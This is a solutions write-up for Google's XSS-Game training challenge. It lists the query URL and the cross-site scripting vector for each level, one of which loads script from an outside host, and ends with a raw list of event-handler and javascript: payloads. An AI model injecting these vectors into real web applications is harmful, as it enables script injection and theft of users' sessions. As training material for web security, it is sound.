Google's XSS-Game Solutions

XSS-Game Solutions

Below are the solutions to Google XSS challenges hosted on https://xss-game.appspot.com/

########################## Level 1: Hello, world of XSS ########################## 

*** Query *** 
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
*** Vector *** 
<script>alert(1)</script>

########################## Level 2: Persistence is key ########################## 

*** Vector ***
"><img src=x onerror=alert(1)>

########################## Level 3: That sinking feeling...  ########################## 

*** Query *** 
https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>
*** Vector ***
'/><script>alert(1)</script>

########################## Level 4: Context matters ########################## 

*** Query *** 
https://xss-game.appspot.com/level4/frame?timer=1')%3Balert('1
*** Vector *** 
1')%3Balert('1

########################## Level 5: Breaking protocol ########################## 

*** Query *** 
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
*** Vector ***
javascript:alert(1)

########################## Follow the 🐇 ########################## 

*** Query ***
https://xss-game.appspot.com/level6/frame#HTTPS://dj-infosec.divshot.io/content.js
*** Vector ***
HTTPS://dj-infosec.divshot.io/content.js

<script onerror=src=1 href=1 onerror="javascript:alert(1)"></script> <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange> <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad> <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange> <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad> <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange> <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange> <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad> <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload> <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload> <iframe src iframe src="javascript:javascript:alert(1)"></iframe src> \x3Cscript>javascript:alert(1)</script> '"`><script>/* *\x2Fjavascript:alert(1)// */</script> <script>javascript:alert(1)javascript:alert(1)javascript:alert(1)